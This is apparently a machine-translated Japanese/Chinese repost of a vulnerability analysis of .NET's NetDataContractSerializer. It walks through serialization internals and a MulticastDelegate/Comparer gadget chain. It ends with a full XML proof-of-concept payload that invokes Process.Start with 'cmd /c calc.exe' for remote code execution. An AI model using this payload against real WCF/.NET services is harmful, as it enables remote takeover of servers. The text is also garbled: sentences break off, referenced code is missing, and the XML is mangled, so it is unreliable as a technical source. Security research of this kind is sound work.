NetDataContractSerializer と DataContractSerializer は、Windows Communication Foundation (WCF) メッセージで送信されたデータをシリアル化および逆シリアル化するために使用されます。 2 つの間には重要な違いがあります。NetDataContractSerializer には CLR が含まれており、追加情報の追加と CLR 型への参照の保存によって型精度をサポートしますが、DataContractSerializer はサポートしません。したがって、NetDataContractSerializer は、シリアル化側と逆シリアル化側で同じ CLR タイプが使用されている場合にのみ使用できます。オブジェクトをシリアル化するには WriteObject または Serialize メソッドを使用し、XML ストリームを逆シリアル化するには ReadObject または Deserialize メソッドを使用します。一部のシナリオでは、悪意のある XML ストリームを読み取ると逆シリアル化の脆弱性が発生し、リモート RCE 攻撃が実行されますが、この記事の著者が原則とコード監査の観点から紹介および再現しました。
WriteObject または Serialize を使用すると、.NET オブジェクトと XML データの間の変換を非常に簡単に実現できます。アセンブリとシリアル化される型の型。この追加情報を使用して XML を特別な型に逆シリアル化することができ、クライアントとサーバーの両方で同じ型を使用できるようになります。追加情報として、z:Id 属性は要素ごとに異なる意味を持ちます。これは、参照型を処理し、XML が逆シリアル化されるときに参照を保持できるかどうかを処理するために使用されます。最終的な結論は、この出力には DataContractSerializer の出力よりも多くの情報が含まれているということです。以下は問題を説明するための例です。まず、TestClass オブジェクトを定義します。
TestClass オブジェクトは 3 つのメンバーを定義し、プロセスを開始するための静的メソッド ClassMethod を実装します。シリアル化は、オブジェクト インスタンスをそれぞれ作成することでメンバーに値を割り当てます
作者は、TestClass クラスをシリアル化した後、Serialize を使用して XML データを取得します
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
NetDataContractSerializer クラスのデシリアライゼーション プロセスは、XML ストリームをオブジェクトに変換し、新しいオブジェクト。メソッドの実装。定義を確認し、XmlObjectSerializer 抽象クラスと IFormatter インターフェイスから継承していることを確認します。
NetDataContractSerializer クラスは、XmlObjectSerializer 抽象クラスの WriteObject メソッドと ReadObject メソッドを実装します。クラスで定義されている IFormatter メソッドも実装します。新しいオブジェクトを作成して Deserialize メソッドを呼び出す作成者の具体的な実装コードは、次を参照してください。
#実際、ReadObject メソッドは Deserialize メソッドでも呼び出されます。逆シリアル化の場合
逆シリアル化プロセス中に、ReadObject メソッドを使用して ReadObjectHandleExceptions メソッドが呼び出され、一部の非コア コードが省略され、InternalReadObject メソッド本体に入り、逆シリアル化されて、オブジェクトのプロパティを取得し、メンバー Name の値を出力します。
マルチキャスト デリゲート (MulticastDelegate) は Delegate を継承しており、その呼び出しリストには複数の要素を持つデリゲートを含めることができます。上記のデリゲート タイプは MulticastDelegate から派生しています。 MulticastDelegate クラスの _invocationList フィールドは、委任チェーンの構築時に委任配列を参照しますが、委任チェーンをさらに制御するには、リンクされた委任リストを持ち、委任インスタンスを呼び出す GetInvocationList メソッドを使用する必要があります。時間が来ると、リスト内のデリゲートの順序で同期呼び出しが行われるため、GetInvocationList リスト メソッドに calc.exe を追加するにはどうすればよいでしょうか。まず、Comparison
Comparison クラスはデリゲートを返し、次に、Delegate または MulticastDelegate クラスを使用します。パブリック静的メソッド Combine は、比較
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
上面两种方式都是很常见的,需要重点关注。
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
以上がNetDataContractSerializer デシリアライゼーションの脆弱性分析を実行する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。